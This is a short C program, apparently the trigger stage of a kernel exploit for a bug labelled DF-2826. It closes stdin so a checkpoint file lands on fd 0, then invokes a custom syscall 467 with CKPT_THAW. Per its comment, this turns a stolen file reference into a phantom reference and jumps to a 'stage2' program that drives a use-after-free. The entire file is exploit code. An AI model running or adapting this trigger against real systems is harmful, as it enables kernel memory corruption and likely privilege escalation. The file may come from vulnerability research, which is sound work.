/* DF-2826 run-2 trigger: checkpoint file on fd 0 (< 3, not closed by
 * elf_getfiles' close-loop). The stolen reference turns into a phantom
 * per-thread cache reference; the process resumes in the restored
 * program (stage2) which drives the UAF. */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *img = (argc > 1) ? argv[1] : "/root/df2826/df2826.ckpt";
	int fd;
	long rc;

	close(0);
	fd = open(img, O_RDONLY);
	if (fd != 0) { fprintf(stderr, "trigger-fd0: open got fd %d\n", fd); return 1; }
	printf("trigger-fd0: ckpt on fd 0, CKPT_THAW...\n");
	fflush(stdout);
	rc = syscall(467, 2 /*CKPT_THAW*/, 0, -1, 0);
	printf("trigger-fd0: returned rc=%ld (unexpected: restored regs jump to stage2)\n", rc);
	fflush(stdout);
	return 1;
}